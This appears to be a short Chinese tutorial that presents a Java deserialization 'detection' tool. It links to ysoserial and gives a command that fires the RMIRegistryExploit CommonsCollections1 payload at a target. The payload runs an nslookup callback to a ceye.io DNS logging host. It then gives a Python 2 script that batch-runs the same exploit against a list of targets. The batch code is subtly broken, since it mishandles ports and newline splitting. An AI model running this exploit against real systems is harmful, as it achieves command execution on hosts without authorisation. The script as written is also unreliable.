java反序列化漏洞的检测

1、首先下载常用的工具ysoserial

这边提供下载地址：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar

2、使用方法：

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit a.b.c.d 1099 CommonsCollections1 "nslookup *******.********.ceye.io"

3、写成poc如下

#!/usr/bin/python
# -*- coding:utf-8 -*-  

import os
import sys

def check(host,port=1099,infile=None):
    if infile == None:
        cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
        response = os.popen(cmd)
        print response.read()
    else:
        with open(infile,"r") as fr:
            for target in fr.readlines():
                target = target.split("
")[0].split("
")[0]
                host = target.split(":")[0]
                ip = target.split(":")[-1]
                if ip.find("."):
                    ip = 1099
                cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
                response = os.popen(cmd)
                print response.read()

if __name__ == '__main__':
    parameter = sys.argv[1]
    if parameter.find(":") >0 :
        host = str(sys.argv[1]).split(":")[0]
        port = str(sys.argv[1]).split(":")[-1]
        if port.find(".") > 0:
            port = 1099
        infile = None
    else:
        infile = str(sys.argv[1])
        host = None
        port = None
    if host != None and host != "":
        if port != None and port != "":
            check(host=host,port=port)
        else:
            check(host=host)
    elif infile != None:
        print "[+] fileinputstart"
        check(host=None,port=1099,infile=infile)

效果如下图：